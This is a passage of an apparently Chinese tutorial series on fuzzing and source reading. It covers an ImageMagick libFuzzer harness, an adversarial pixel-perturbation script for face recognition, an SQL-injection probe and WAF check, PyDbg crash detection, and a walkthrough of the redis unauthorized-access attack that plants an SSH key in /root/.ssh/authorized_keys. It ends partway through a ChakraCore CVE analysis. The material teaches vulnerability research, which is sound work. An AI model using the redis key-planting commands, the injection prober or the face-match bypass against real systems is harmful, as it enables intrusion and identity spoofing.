MAGIC("AVI", 0, "RIFF"),
MAGIC("8BIMWTEXT", 0, "8\000B\000I\000M\000#"),
MAGIC("8BIMTEXT", 0, "8BIM#"),
MAGIC("8BIM", 0, "8BIM"),
MAGIC("BMP", 0, "BA"),
MAGIC("BMP", 0, "BM"),
MAGIC("BMP", 0, "CI"),
MAGIC("BMP", 0, "CP"),
MAGIC("BMP", 0, "IC"),
MAGIC("BMP", 0, "PI"),
MAGIC("CALS", 21, "version: MIL-STD-1840"),
MAGIC("CALS", 0, "srcdocid:"),
MAGIC("CALS", 9, "srcdocid:"),
MAGIC("CALS", 8, "rorient:"),
MAGIC("CGM", 0, "BEGMF"),
//...
};
extern "C" int LLVMFuzzerTestOneInput(const unsigned char* data,unsigned int size) {
int random_image_flag_index = random(data,size);
unsigned int random_image_flag_offset = StaticMagic[random_image_flag_index].offset;
unsigned int random_image_flag_length = StaticMagic[random_image_flag_index].length;
unsigned int image_buffer_length = random_image_flag_offset + random_image_flag_length + size;
unsigned char* image_buffer = (unsigned char*)malloc(image_buffer_length);
memset(image_buffer,0,image_buffer_length);
memcpy(image_buffer,StaticMagic[random_image_flag_index].name,StaticMagic[random_image_flag_index].length);
FILE* file = fopen(GENARATE_FILE_NAME,"w");
if (NULL != file) {
fwrite(image_buffer,1,image_buffer_length,file);
fclose(file);
printf("buffer=%s(0x%X), size=%d,input format=%s\n",image_buffer,image_buffer,image_buffer_length,StaticMagic[random_image_flag_index].name);
ExceptionInfo exception;
ImageInfo* read_image_info;
ImageInfo* write_image_info;
Image* image;
GetExceptionInfo(&exception);
read_image_info = CloneImageInfo((ImageInfo*)NULL);
write_image_info = CloneImageInfo((ImageInfo*)NULL);
strlcpy(read_image_info->filename,GENARATE_FILE_NAME,MaxTextExtent);
strlcpy(write_image_info->filename,"/dev/null",MaxTextExtent);
SetImageInfo(read_image_info,SETMAGICK_READ,&exception);
SetImageInfo(write_image_info,SETMAGICK_WRITE,&exception);
image = ReadImage(read_image_info,&exception);
if (NULL != image)
WriteImage(write_image_info,image);
DestroyImageInfo(read_image_info);
DestroyImageInfo(write_image_info);
DestroyExceptionInfo(&exception);
}
free(image_buffer);
return 0;
}
```
这段代码的意思是,随机从`StaticMagic` 中选择一个图像头部特征,然后和libFuzzer 生成的数据拼接到一起.格式如下
```
图像格式特征码 | libFuzzer 生成的数据
```
为什么要这么做呢?我们需要来阅读一下ImageMagick 的代码.图像格式特征码可以到`MagickCore/magic.c:90` 行找到声明.
```c
static const MagicMapInfo
MagicMap[] =
{
{ "8BIMWTEXT", 0, MagicPattern("8\000B\000I\000M\000#") },
{ "8BIMTEXT", 0, MagicPattern("8BIM#") },
{ "8BIM", 0, MagicPattern("8BIM") },
{ "BMP", 0, MagicPattern("BA") },
{ "BMP", 0, MagicPattern("BM") },
{ "BMP", 0, MagicPattern("CI") },
//...
{ "XEF", 0, MagicPattern("FOVb") },
{ "XPM", 1, MagicPattern("* XPM *") }
};
```
ImageMagick 识别图片格式在`MagickCore/magic.c:368` 行找到函数.
```c
MagickExport const MagicInfo *GetMagicInfo(const unsigned char *magic,
const size_t length,ExceptionInfo *exception)
{
register const MagicInfo
*p;
assert(exception != (ExceptionInfo *) NULL);
if (IsMagicCacheInstantiated(exception) == MagickFalse)
return((const MagicInfo *) NULL);
/*
Search for magic tag.
*/
LockSemaphoreInfo(magic_semaphore);
ResetLinkedListIterator(magic_cache);
p=(const MagicInfo *) GetNextValueInLinkedList(magic_cache);
if (magic == (const unsigned char *) NULL)
{
UnlockSemaphoreInfo(magic_semaphore);
return(p);
}
while (p != (const MagicInfo *) NULL)
{
assert(p->offset >= 0);
if (((size_t) (p->offset+p->length) <= length) &&
(memcmp(magic+p->offset,p->magic,p->length) == 0)) // 注意这里,判断图片特征码
break;
p=(const MagicInfo *) GetNextValueInLinkedList(magic_cache);
}
if (p != (const MagicInfo *) NULL)
(void) InsertValueInLinkedList(magic_cache,0,
RemoveElementByValueFromLinkedList(magic_cache,p));
UnlockSemaphoreInfo(magic_semaphore);
return(p);
}
```
我们来读一下ImageMagick 的读取图片部分的代码,位置在`MagickCore/constitute.c:410`
```c
magick_info=GetMagickInfo(read_info->magick,sans_exception);
sans_exception=DestroyExceptionInfo(sans_exception);
if (magick_info != (const MagickInfo *) NULL) { // 读取图像信息
// ...
if ((magick_info != (const MagickInfo *) NULL) &&
(GetImageDecoder(magick_info) != (DecodeImageHandler *) NULL))
{
if (GetMagickDecoderThreadSupport(magick_info) == MagickFalse)
LockSemaphoreInfo(magick_info->semaphore);
image=GetImageDecoder(magick_info)(read_info,exception);
// ...
```
由此可知,只有能被ImageMagick 识别到的图像格式才可以被传递到对应的图像解析decoder 里面去解析数据.但是我们并不关心decoder 是怎么样去解析的,所以这部分我们使用随机生成数据.为什么不全部都用随机生成数据呢,这样会导致生成的图像特征码都是随机的,碰撞到正确的图像特征码的概率很低,浪费很多时间和资源在这些没有意义的地方.所以我们需要给定一个区间来让Fuzzer 生成数据,这样才能让ImageMagick 选择到decoder 来解析,如果我们要对所有的图像格式都要做对应的针对适配,**没有统一的格式**,按照特定的格式来生成数据,这样的人力成本太大了,不如让Fuzzer 随机生成数据.
### Fuzzing 网络协议
网络协议都是已经固定好的数据格式,然后由一方发出到另一方来解析执行.我们来回顾一下C 语言的struct 结构
```c
typedef struct {
int packet_type;
int packet_data_length;
char packet_data;
} packet ;
```
这个结构对应的内存布局
```
packet_type(4 Byte) | packet_data_length(4 Byte) | packet_data(packet_data_length Byte)
```
根据这个内存布局,我们来举几个例子,(为了方便阅读数据顺序是大端字节)
```
0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x02 0x65 0x65 => 0 | 2 | AA
0x00 0x00 0xFF 0x00 0x00 0x00 0x00 0x04 0x01 0x02 0x03 0x04 => 0xFF00 | 4 | 0x01 0x02 0x03 0x04
0x1d 0xb2 0xaa 0x42 0x00 0x21 0xd2 0x23 0x65 => 0x1db2aa42 | 0x21d223 | A
...
```
前面两个例子是按照格式构造的,最后那个例子是瞎写的.用前面提到的两种方式(随机生成数据和按结构生成数据)来生成Fuzzing 数据,例子如下
```
按结构生成数据:random.randint() | random.randint() | random.randstring(4)
随机生成数据:random.randstring(12)
```
不知道读者们有没有注意到非常重要的一点,这两条例子是等价的.也就是说`random.randint() | random.randint() | random.randstring(4)` 等价于`random.randstring(12)` .所以这个时候按结构生成数据的意义就没有了,我们来看一下ImageMagick 的图片解析部分代码`coders/icon.c:295`
```c
icon_file.reserved=(short) ReadBlobLSBShort(image);
icon_file.resource_type=(short) ReadBlobLSBShort(image);
icon_file.count=(short) ReadBlobLSBShort(image);
if ((icon_file.reserved != 0) ||
((icon_file.resource_type != 1) && (icon_file.resource_type != 2)) ||
(icon_file.count > MaxIcons))
ThrowReaderException(CorruptImageError,"ImproperImageHeader");
extent=0;
for (i=0; i < icon_file.count; i++)
{
icon_file.directory[i].width=(unsigned char) ReadBlobByte(image);
icon_file.directory[i].height=(unsigned char) ReadBlobByte(image);
icon_file.directory[i].colors=(unsigned char) ReadBlobByte(image);
icon_file.directory[i].reserved=(unsigned char) ReadBlobByte(image);
icon_file.directory[i].planes=(unsigned short) ReadBlobLSBShort(image);
icon_file.directory[i].bits_per_pixel=(unsigned short)
ReadBlobLSBShort(image);
icon_file.directory[i].size=ReadBlobLSBLong(image);
icon_file.directory[i].offset=ReadBlobLSBLong(image);
if (EOFBlob(image) != MagickFalse)
break;
extent=MagickMax(extent,icon_file.directory[i].size);
}
```
这部分的代码相当于按照这个格式来读取数据
```
short | short | short | [ Byte | Byte | Byte | Byte | long | long ] | [ Byte | Byte | Byte | Byte | long | long ] | ...
```
所以,直接使用random.randstring() 直接生成随机数据传递到这里Fuzzing 即可,无需再按结构生成数据.
回到这个小节提出的问题:那么什么时候选择随机生成数据,什么时候选择按结构生成数据呢?**如果输入是有限制的,那就按结构生成数据,如果输入是无限制的,那就随机生成数据;如果按结构生成数据可以触发更多的代码执行,那就按结构生成数据,否则就使用随机生成数据**.
## 结尾
阅读源码是一个非常有用的技能,**绝大多数的疑惑,都能在源码里面找到**,这是以前在腾讯的一位T3 的同事给我的教诲,受益至今.前面用了很多的篇幅,介绍了Fuzzing 和阅读源码之间的关系是有多么重要.希望这些经验能够帮助在学习挖掘漏洞的读者们.本章是偏向于二进制的Fuzzing 的,关于二进制还有一些其他的Fuzzing 经验和大家分享.

## AFL 和libFuzzer 的演示
多开AFL Fuzzing 库

跑到内存异常的libFuzzer

================================================
FILE: 3.Fuzzing 模糊测试之异常检测.md
================================================
## 必备工具
Python ,Python-face_recognition ,PHP ,Python-Requests ,Pydasm ,Pydbg
## Fuzzing 的异常检测
上一章的结尾部分提到,程序运行包含:输入->解析->内部逻辑处理->数据组装->输出,每一个部分都可能存在漏洞.总结一下Fuzzing 的异常检测分为两种:检测输出数据异常和检测运行异常.
### 检测输出数据异常
程序需要依赖用户输入,然后进行处理,最后再输出程序处理的数据.以人脸识别为例子,我们同样可以使用Fuzzing 来让识别算法判断两个人脸为同一个人.先来看一下Python 库`face_recognition` 是怎么做识别的.
```python
def compare_faces(known_face_encodings, face_encoding_to_check, tolerance=0.6):
"""
Compare a list of face encodings against a candidate encoding to see if they match.
:param known_face_encodings: A list of known face encodings
:param face_encoding_to_check: A single face encoding to compare against the list
:param tolerance: How much distance between faces to consider it a match. Lower is more strict. 0.6 is typical best performance.
:return: A list of True/False values indicating which known_face_encodings match the face encoding to check
"""
return list(face_distance(known_face_encodings, face_encoding_to_check) <= tolerance)
```
compare_faces() 函数根据face_distance() 函数对比两张图片的相似度做对比,当相似度小于默认值0.6 时,数值越小两张人脸越相同,即判断为同一个人.让两张不是同一个人的识别成为同一个人,本质上是干扰人脸识别算法的判断概率.**只需要对每一个像素点做极小的修改,就能影响数据点被分类的结果.必定存在一个与原本数据相差极小而被判断为任意一个类别的数据**.简单地来说,通过在脸部附近随机生成一些像素点,会影响到最终识别结果.Fuzzer 构造如下
```python
import random
from numpy import array
from PIL import Image
from PIL import ImageDraw
import face_recognition
def load_image_encoding(file_path) :
image = face_recognition.load_image_file(file_path)
image_encoding = face_recognition.face_encodings(image)[0]
return image_encoding
def get_face_location(file_path) :
image = face_recognition.load_image_file(file_path)
face_location = face_recognition.face_locations(image)[0]
return face_location
def fuzzing(source_image_path = 'obama/obama.jpg',fuzzing_image_path = 'ponyma/ponyma.png',target_compare_rate = 0.4) :
source_face_data = load_image_encoding(source_image_path)
image = Image.open(fuzzing_image_path)
draw = ImageDraw.Draw(image)
last_best_compare_rate = 1
face_location = get_face_location(fuzzing_image_path) # 获取人脸位置
random_fuzzing_location_top = face_location[0]
random_fuzzing_location_bottom = face_location[2]
random_fuzzing_location_left = face_location[3]
random_fuzzing_location_right = face_location[1]
while True :
random_pixel_data = (random.randint(0,255), # 随机像素值
random.randint(0,255),
random.randint(0,255))
random_location = (random.randint(random_fuzzing_location_left,random_fuzzing_location_right), # 随机位置
random.randint(random_fuzzing_location_top,random_fuzzing_location_bottom))
last_pixel_data = image.getpixel(random_location)
draw.point(random_location,random_pixel_data) # 在人脸的区域上随机画一个像素
fuzzing_face_image = image.convert('RGB')
fuzzing_face_array = array(fuzzing_face_image)
fuzzing_face_data = face_recognition.face_encodings(fuzzing_face_array)[0]
compare_rate = face_recognition.face_distance([source_face_data],fuzzing_face_data) # 重新对比两个人脸
print 'Compare Rate =',compare_rate,' Random Location =',random_location,' Random Pixel Data =',random_pixel_data
del fuzzing_face_image # 防止内存泄漏 ..
del fuzzing_face_array
del fuzzing_face_data
if compare_rate < target_compare_rate : # 两张人脸识别结果的判断率达到要求之后,就退出
break
if compare_rate < last_best_compare_rate : # 如果随机的像素没有提升识别率,那就恢复原来的那个像素,如果有提升识别率,那就保存这个像素
last_best_compare_rate = compare_rate
print 'New Study Rate:' ,last_best_compare_rate
else :
draw.point(random_location,last_pixel_data)
image.save(fuzzing_image_path + '_bypass_check.jpg')
obama_image = face_recognition.load_image_file('obama/obama.jpg')
obama1_image = face_recognition.load_image_file('obama/obama2.jpg')
ponyma_image = face_recognition.load_image_file('ponyma/ponyma.png')
ponyma1_image = face_recognition.load_image_file('ponyma/ponyma.png_bypass_check.jpg')
obama_encoding = face_recognition.face_encodings(obama_image)[0]
obama1_encoding = face_recognition.face_encodings(obama1_image)[0]
ponyma_image = face_recognition.face_encodings(ponyma_image)[0]
ponyma1_image = face_recognition.face_encodings(ponyma1_image)[0]
print 'Obama Test:'
print face_recognition.compare_faces([obama_encoding], obama1_encoding),\
face_recognition.face_distance([obama_encoding], obama1_encoding)
print 'PonyMa test:'
print face_recognition.compare_faces([obama_encoding], ponyma_image),\
face_recognition.face_distance([obama_encoding], ponyma_image)
print 'PonyMa Bypass test:'
print face_recognition.compare_faces([obama_encoding], ponyma1_image),\
face_recognition.face_distance([obama_encoding], ponyma1_image)
print 'Ready Fuzzing ..'
fuzzing()
```
运行过程与结果



看到这里,相信读者应该理解到:**用户的输入是不可信的,精心构造的输入会影响程序的输出结果甚至远程代码执行**.下面再举一个SQL 注入的例子,先来看看页面的源码
```php
<?php
$connect = mysql_connect('localhost','root','root');
mysql_select_db('test', $connect);
$query = 'SELECT * FROM user WHERE name = "' . $_REQUEST['name'] . '"';
$result = mysql_query($query) or die('<pre>'.mysql_error().'</pre>');
while($row = mysql_fetch_array($result)) {
echo $row['0'] . ' ' . $row['1'];
echo '<br />';
}
echo '<br/>';
echo $query;
mysql_close($connect);
?>
```
访问URL:http://127.0.0.1/sql.php?name=root ,页面返回的数据如下

此时我们在root 后面加上" ,URL 变为:http://127.0.0.1/sql.php?name=root" ,再次访问链接

可以看到,现在SQL 语句出现异常了.对于URL 进行做SQL 注入Fuzzing ,我们通过`' "` 这两个符号插入到URL 的参数里来判断能否导致SQL 字符串闭合异常.Fuzzer 代码如下:
```python
import sys
import requests
def get_url_path(url) :
argument_offset = url.find('?')
if -1 == argument_offset :
return False
url = url[ : argument_offset ]
return url
def get_url_argument(url) :
argument_offset = url.find('?')
if -1 == argument_offset :
return False
url = url[ argument_offset + 1 : ]
argument = url.split('&')
return argument
def check_url_inject(url_path,url_argument) :
sql_inject_flag = [ '\'' , '"' ]
sql_inject_error_flag = 'SQL syntax'
inject_result = False
for url_argument_index in url_argument :
for sql_inject_flag_index in sql_inject_flag :
responed = requests.get(url_path + '?' + url_argument_index + sql_inject_flag_index)
if not -1 == responed.text.find(sql_inject_error_flag) :
inject_result = True
break
return inject_result
if __name__ == '__main__' :
if not 2 == len(sys.argv) :
print 'sql.py URL'
exit()
url = sys.argv[1]
url_argument = get_url_argument(url)
url_path = get_url_path(url)
print 'Is Inject:' ,check_url_inject(url_path,url_argument)
```
运行结果如下

同样的原理,我们来做WAF 检测,示例URL:https://cloud.tencent.com/ .如果URL 里面还有敏感Payload 时,腾讯云的WAF 会返回501 的回应,否则会返回正常的请求
```python
import sys
import requests
def check_waf(url_path) :
responed = requests.get(url_path + '?test=<script>')
if 501 == responed.status_code :
return True
return False
if __name__ == '__main__' :
if not 2 == len(sys.argv) :
print 'sql.py URL'
exit()
print 'Has WAF:' ,check_waf(sys.argv[1])
```
基于这段检测数据输出的代码,我们可以来做WAF Fuzzing 测试,看看哪些Payload 是无法被拦截的,关于WAF 的Fuzzing 以后再写一些东西
### 检测运行异常
检测运行异常在二进制上应用比较多,回顾上一章的Python 运行环境Fuzzing ,Fuzzer 只做了一个数据输入的生成,具体崩溃点还不知道在哪个位置,现在我们就使用PyDbg 和PyDasm 来自动化检测异常,关于PyDbg 我整理过一个使用文档,更多信息可以参考这里:https://github.com/lcatro/PyDbg_Document .下面使用PyDbg 来编写Python 运行环境Fuzzing 的异常检测模块
```python
EXCEPTION_STACK_OVERFLOW=0xC00000FD # 栈溢出异常,这个值PyDbg 里没有,是自己加上去的
def get_exception(EXCEPTION) : # 判断异常类型
if EXCEPTION==EXCEPTION_STACK_OVERFLOW :
return 'EXCEPTION_STACK_OVERFLOW'
elif EXCEPTION==pydbg.defines.EXCEPTION_ACCESS_VIOLATION :
return 'EXCEPTION_ACCESS_VIOLATION'
elif EXCEPTION==pydbg.defines.EXCEPTION_GUARD_PAGE :
return 'EXCEPTION_GUARD_PAGE'
return 'Unknow Exception!'
def get_instruction(self,address) : # 获取指定地址附近的汇编代码
for ins in self.disasm_around(address,10) :
if ins[0]==address :
print '->Add:'+str(hex(ins[0]))[:-1]+'-'+ins[1]
else :
print ' Add:'+str(hex(ins[0]))[:-1]+'-'+ins[1]
def format_output(memory_data) : # 格式化输出内存数据
output_string=''
for memory_data_index in memory_data :
output_string+=str(hex(ord(memory_data_index)))+' '
return output_string
def dump_crash(self,EXCEPTION,EIP,EAX,EBX,ECX,EDX,ESP,EBP,ESI,EDI,instruction) : # 输出崩溃信息
print 'WARNING! Exploit:',get_exception(EXCEPTION),str(hex(EIP))[:-1],instruction,'\n'
get_instruction(self,EIP)
print ''
print 'EAX:'+str(hex(EAX))[:-1],'EBX:'+str(hex(EBX))[:-1],'ECX:'+str(hex(ECX))[:-1],'EDX:'+str(hex(EDX))[:-1],'ESP:'+str(hex(ESP))[:-1],'EBP:'+str(hex(EBP))[:-1],'ESI:'+str(hex(ESI))[:-1],'EDI:'+str(hex(EDI))[:-1]
print 'Easy Debug Viewer:'
print 'command:-r %regesit% (look regesit) ;-a %address% (look memory address) ;-u %address% (get instruction) ;-quit (will exit)'
while True : # 这里有个内置调试器,支持一些手工调试功能
try :
command=raw_input('->')
if command[:2]=='-r' : # 获取寄存器
print str(hex(self.get_register(str.upper(command[3:]))))[:-1]
elif command[:2]=='-a' : # 获取数据
dump_data=self.read(eval(command[3:]),DUMP_DATA_LENGTH)
print format_output(dump_data)
print dump_data
elif command[:2]=='-u' : # 获取代码
get_instruction(self,eval(command[3:]))
elif command[:5]=='-quit' : # 退出
break
except :
print 'Making a Except may input a error data'
def check_valueble_crash(self,EXCEPTION) : # 获取异常崩溃信息
EIP=self.get_register('EIP')
EAX=self.get_register('EAX')
EBX=self.get_register('EBX')
ECX=self.get_register('ECX')
EDX=self.get_register('EDX')
ESP=self.get_register('ESP')
EBP=self.get_register('EBP')
ESI=self.get_register('ESI')
EDI=self.get_register('EDI')
instruction=self.disasm(EIP)
if 'call'==instruction[0:4] :
dump_crash(self,EXCEPTION,EIP,EAX,EBX,ECX,EDX,ESP,EBP,ESI,EDI,instruction)
elif 'mov'==instruction[0:3] :
dump_crash(self,EXCEPTION,EIP,EAX,EBX,ECX,EDX,ESP,EBP,ESI,EDI,instruction)
elif 'pop'==instruction[0:3] :
dump_crash(self,EXCEPTION,EIP,EAX,EBX,ECX,EDX,ESP,EBP,ESI,EDI,instruction)
elif 'push'==instruction[0:4] :
dump_crash(self,EXCEPTION,EIP,EAX,EBX,ECX,EDX,ESP,EBP,ESI,EDI,instruction)
elif EXCEPTION==EXCEPTION_STACK_OVERFLOW :
dump_crash(self,EXCEPTION,EIP,EAX,EBX,ECX,EDX,ESP,EBP,ESI,EDI,instruction)
def crash_recall_guard_page(self) : # 捕获程序异常的回调函数,参数self 是Pydbg 的对象
check_valueble_crash(self,pydbg.defines.EXCEPTION_GUARD_PAGE)
def crash_recall_access_violation(self) :
check_valueble_crash(self,pydbg.defines.EXCEPTION_ACCESS_VIOLATION)
def crash_recall_exit_process(self) :
check_valueble_crash(self,pydbg.defines.EXIT_PROCESS_DEBUG_EVENT)
def crash_recall_stack_overflow(self) :
check_valueble_crash(self,EXCEPTION_STACK_OVERFLOW)
if __name__ == '__main__' :
while True :
code_object = make_code_object(make_opcode_stream())
save_to_pyc('python_fuzzing.tmp.pyc',code_object)
debugger = pydbg.pydbg() # 初始化PyDbg
debugger.set_callback(pydbg.defines.EXCEPTION_ACCESS_VIOLATION,crash_recall_access_violation) # 设置异常回调
debugger.set_callback(pydbg.defines.EXCEPTION_GUARD_PAGE,crash_recall_guard_page)
debugger.set_callback(pydbg.defines.EXIT_PROCESS_DEBUG_EVENT,crash_recall_exit_process)
debugger.set_callback(EXCEPTION_STACK_OVERFLOW,crash_recall_stack_overflow)
debugger.load('C:\\Python27\\python.exe','python_fuzzing.tmp.pyc') # 把生成的样本传递进来Fuzzing
debugger.run() # 启动调试
time.sleep(3)
del debugger # 删除PyDbg
```
运行效果

PyDbg 不是一个好的选择,因为有一些buffer overflow 必须要改写到其他数据并且又要被引用才会触发异常,事实上有很多情况是越界读写并没有被检测出来.最好的选择还是使用ASAN ,ASAN 自带有很强大的内存检测方式,ASAN 需要在编译的时候使用`-fsanitize=address` 参数引入,但是使用ASAN 需要依赖源码.在没有源码只有执行文件的情况下,linux 平台使用valgrind ,windows 平台使用gflags 来做内存异常检测.
使用ASAN 做检测就方便很多了,下面是ASAN 检测内存泄漏和越界的例子(检测程序为bfgminer)


================================================
FILE: 4.阅读源码.md
================================================
读代码要带有目的去读,是要挖漏洞还是想要了解这个程序到在底干了些什么
要理解整体的时候,千万不要在某个细节里钻牛角尖
要一边理解细节一边挖洞的时候,记得要联想到所有可能的情况
## 必备工具
Source Insight ,redis 源码,VS2017 ,Chakra 源码 ,Struts2 源码
## 从一个利用思路到源码层上的理解
本节从一个redis 提权思路开始一步步分析,原文地址:https://www.huangdc.com/443 .这篇文章主要说的是,找到了未授权的redis 然后使用`config` 命令进行ssh key 的替换,使得攻击者可以使用ssh 免密码登陆的方式 直接getshell .我们看看文章里的关键部分
```bash
[root@vm200-78 ~]# cat mypubkey.txt |redis-cli -h 192.168.203.224 -p 4700 -x set mypubkey
OK
[root@vm200-78 ~]# redis-cli -h 192.168.203.224 -p 4700
redis 192.168.203.224:4700> config set dir /root/.ssh/
OK
redis 192.168.203.224:4700> config set dbfilename "authorized_keys"
OK
redis 192.168.203.224:4700> save
OK
redis 192.168.203.224:4700>
```
把mypubkey.txt 的内容写入到了mypubkey 之后,然后使用`config set dir` 改变数据保存目录,再使用`config set dbfilename "authorized_keys"` 改变数据保存文件名,接下来使用`save` 进行数据保存,把ssh key 保存到/root/.ssh 中,下载好redis 的源码,我们来探索一下
这个命令叫config ,那么我们到Github 上来搜索有config 的地方


有config 字符串的地方太多了,我们换一个来搜索,找save 命令


搜索save 的结果不是很多,在第二页就可以找到所有命令的声名了

接下来我们来看看`src/server.c` 的代码,搜索saveCommand

现在可以进一步确定这个地方是命令声名的地方,`save` 是命令的字符串,`saveCommand` 是命令的入口点,那么我们搜索`config`

现在能够定位到`config` 命令的入口函数了,继续搜索configCommand

定位到configCommand 函数在`src/config.c` ,进去源码文件继续查找

找到configCommand ,源码如下:
```c
void configCommand(client *c) {
/* Only allow CONFIG GET while loading. */
if (server.loading && strcasecmp(c->argv[1]->ptr,"get")) {
addReplyError(c,"Only CONFIG GET is allowed during loading");
return;
}
if (c->argc == 2 && !strcasecmp(c->argv[1]->ptr,"help")) {
const char *help[] = {
"get <pattern> -- Return parameters matching the glob-like <pattern> and their values.",
"set <parameter> <value> -- Set parameter to value.",
"resetstat -- Reset statistics reported by INFO.",
"rewrite -- Rewrite the configuration file.",
NULL
};
addReplyHelp(c, help);
} else if (!strcasecmp(c->argv[1]->ptr,"set") && c->argc == 4) { // 注意这里,config set 命令
configSetCommand(c);
} else if (!strcasecmp(c->argv[1]->ptr,"get") && c->argc == 3) {
configGetCommand(c);
} else if (!strcasecmp(c->argv[1]->ptr,"resetstat") && c->argc == 2) {
resetServerStats();
resetCommandTableStats();
addReply(c,shared.ok);
} else if (!strcasecmp(c->argv[1]->ptr,"rewrite") && c->argc == 2) {
if (server.configfile == NULL) {
addReplyError(c,"The server is running without a config file");
return;
}
if (rewriteConfig(server.configfile) == -1) {
serverLog(LL_WARNING,"CONFIG REWRITE failed: %s", strerror(errno));
addReplyErrorFormat(c,"Rewriting config file: %s", strerror(errno));
} else {
serverLog(LL_WARNING,"CONFIG REWRITE executed with success.");
addReply(c,shared.ok);
}
} else {
addReplyErrorFormat(c, "Unknown subcommand or wrong number of arguments for '%s'. Try CONFIG HELP",
(char*)c->argv[1]->ptr);
return;
}
}
```
继续对`configSetCommand()` 函数进行跟踪,在`src/config.c:837` 行代码,由于代码量比较多,在此挑选一些比较重点的地方来说
```c
void configSetCommand(client *c) {
robj *o;
long long ll;
int err;
serverAssertWithInfo(c,c->argv[2],sdsEncodedObject(c->argv[2]));
serverAssertWithInfo(c,c->argv[3],sdsEncodedObject(c->argv[3]));
o = c->argv[3];
if (0) { /* this starts the config_set macros else-if chain. */
/* Special fields that can't be handled with general macros. */
config_set_special_field("dbfilename") { // 命令config set dbfilename
if (!pathIsBaseName(o->ptr)) { //
addReplyError(c, "dbfilename can't be a path, just a filename");
return;
}
zfree(server.rdb_filename);
server.rdb_filename = zstrdup(o->ptr);
// ...
} config_set_special_field("dir") { // 命令config set dir
if (chdir((char*)o->ptr) == -1) {
addReplyErrorFormat(c,"Changing directory: %s", strerror(errno));
return;
}
}
// ...
}
```
`config set dir` 这个命令很好理解,就是改变当前运行目录路径.`config set dbfilename` 则是设置redis 服务器的rdb_filename 字段.明白了`config set` 的工作原理之后,回来再看看`save` 命令.使用上面的方法找到`saveCommand()` 函数,在`src/rdb.c:2073` 行.
```c
void saveCommand(client *c) {
if (server.rdb_child_pid != -1) {
addReplyError(c,"Background save already in progress");
return;
}
rdbSaveInfo rsi, *rsiptr;
rsiptr = rdbPopulateSaveInfo(&rsi);
if (rdbSave(server.rdb_filename,rsiptr) == C_OK) {
addReply(c,shared.ok);
} else {
addReply(c,shared.err);
}
}
```
我们再来找找`rdbSave()` 函数.`CTRL + F` 搜素一下有没有在当前的代码文件里.

同一个文件上有很多rdbSave 的关键字,我们要找的是函数声明,那么加上一个`(` 符号,搜素字符串`rdbSave(`

这样搜素出来的结果就少很多,往上找一找,就能够直接定位到`rdbSave()` 函数,在`src/rdb.c:1042` 行
```c
/* Save the DB on disk. Return C_ERR on error, C_OK on success. */
int rdbSave(char *filename, rdbSaveInfo *rsi) {
char tmpfile[256];
char cwd[MAXPATHLEN]; /* Current working dir path for error messages. */
FILE *fp;
rio rdb;
int error = 0;
snprintf(tmpfile,256,"temp-%d.rdb", (int) getpid()); // 生成一个临时文件名
fp = fopen(tmpfile,"w"); // 创建文件
if (!fp) {
char *cwdp = getcwd(cwd,MAXPATHLEN);
serverLog(LL_WARNING,
"Failed opening the RDB file %s (in server root dir %s) "
"for saving: %s",
filename,
cwdp ? cwdp : "unknown",
strerror(errno));
return C_ERR;
}
rioInitWithFile(&rdb,fp);
if (rdbSaveRio(&rdb,&error,RDB_SAVE_NONE,rsi) == C_ERR) { // 保存数据到文件
errno = error;
goto werr;
}
/* Make sure data will not remain on the OS's output buffers */
if (fflush(fp) == EOF) goto werr;
if (fsync(fileno(fp)) == -1) goto werr;
if (fclose(fp) == EOF) goto werr; // 关闭文件
/* Use RENAME to make sure the DB file is changed atomically only
* if the generate DB file is ok. */
if (rename(tmpfile,filename) == -1) { // 重命名文件
char *cwdp = getcwd(cwd,MAXPATHLEN);
serverLog(LL_WARNING,
"Error moving temp DB file %s on the final "
"destination %s (in server root dir %s): %s",
tmpfile,
filename,
cwdp ? cwdp : "unknown",
strerror(errno));
unlink(tmpfile);
return C_ERR;
}
serverLog(LL_NOTICE,"DB saved on disk");
server.dirty = 0;
server.lastsave = time(NULL);
server.lastbgsave_status = C_OK;
return C_OK;
werr:
serverLog(LL_WARNING,"Write error saving DB on disk: %s", strerror(errno));
fclose(fp);
unlink(tmpfile);
return C_ERR;
}
```
看完了上面的代码之后,我们知道:fopen 会在当前目录下生成一个临时文件来保存数据,那么通过`config set dir` 改变目录到`/root/.ssh/` ,`fopen()` 函数就会在`/root/.ssh/` 目录下生成文件.我们来看看`rdbSave()` 函数重命名文件部分的代码
```c
if (rename(tmpfile,filename) == -1) { // 重命名文件
char *cwdp = getcwd(cwd,MAXPATHLEN);
// ...
unlink(tmpfile);
return C_ERR;
}
```
filename 是rdbSave 函数的参数
```c
/* Save the DB on disk. Return C_ERR on error, C_OK on success. */
int rdbSave(char *filename, rdbSaveInfo *rsi) {
```
然后回去看`saveCommand()` 的源码,filename 其实是server.rdb_filename
```c
if (rdbSave(server.rdb_filename,rsiptr) == C_OK) {
```
## 从一个漏洞Commit 到理解这一类的漏洞挖掘方式
本节从一个Chakra 的Bug Commit : [CVE-2017-0141] ReverseHelper Heap Overflow ,Link https://github.com/Microsoft/ChakraCore/commit/db504eba489528434dfb56257b0f202209741fe9 .和读者们分享一下如何从阅读源码的层面上对JavaScript 的OOB 漏洞挖掘的一些思路.

看到diff 知道代码修复的位置,现在我们到Source Insight 里面找找.找到这个按钮

现在在搜素里面找ReverseHelper ,Source Insight 能找到这个函数

双击这里之后,就跳到了ReverseHelper ,我们在看看函数列表这里

是不是看到了很多其他的函数,这些函数就是Chakra 的JavaScript 内部对象的实现函数.要触发ReverseHelper 函数的调用,可以构造如下的代码.
```javascript
data = Array();
data.reverse();
```
注意,**Chakra 是在底层上实现内部对象函数的,V8 是在Native JavaScript 上实现内部对象函数的**.
让我们回来继续分析漏洞成因.由于代码一直有变化,patch 了的代码和原来Commit 的位置已经不同了,不过没有关系,能定位到就好.

pArr 到底是什么东西呢,我们来查看它的定义


`ReverseHelper()` 的声明如下:
```c++
Var JavascriptArray::ReverseHelper(JavascriptArray* pArr, Js::TypedArrayBase* typedArrayBase, RecyclableObject* obj, T length, ScriptContext* scriptContext)
```
现在我们找到了pArr 和length 的来源了.来看看`ReverseHelper()` 被哪些地方引用到

```
JavascriptArray.cpp (lib\runtime\library): JS_REENTRANT_UNLOCK(jsReentLock, return JavascriptArray::ReverseHelper(pArr, nullptr, obj, length.GetSmallIndex(), scriptContext));
